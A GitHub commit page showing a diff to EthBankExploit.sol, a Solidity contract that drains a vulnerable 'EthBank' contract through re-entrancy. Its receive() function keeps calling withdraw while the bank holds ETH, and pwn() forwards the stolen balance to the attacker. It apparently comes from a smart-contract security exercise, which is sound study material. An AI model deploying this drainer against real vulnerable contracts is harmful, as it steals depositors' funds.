Skip to content

Commit

Permalink
docs: add interesting comments to ETH bank re-entrency contract
Browse files Browse the repository at this point in the history
  • Loading branch information
ialmanzaj committed Oct 22, 2023
1 parent 35d50dc commit 909e2f9
Showing 1 changed file with 5 additions and 4 deletions.
9 changes: 5 additions & 4 deletions src/EthBank/EthBankExploit.sol
Original file line number Diff line number Diff line change
Expand Up @@ -17,20 +17,21 @@ contract EthBankExploit {
}

receive() external payable {
// drain until try to get the most ETH
// drain until try to get the most ETH
// 0.5 ether is the interval to drain each time
// Equal to the amount I sent so that the withdraw does not fail
if (address(bank).balance >= 0.5 ether) {
bank.withdraw();
}
}

function pwn() external payable {
// deposits
// deposits
bank.deposit{value: 0.5 ether}();
bank.withdraw();

// send back stolen ETH to atacker address.
//why? transfer intead of call{value: address(this).balance}
// send back stolen ETH to atacker address.
// why transfer instead of call?
payable(msg.sender).transfer(address(this).balance);
}
}

0 comments on commit 909e2f9

Please sign in to comment.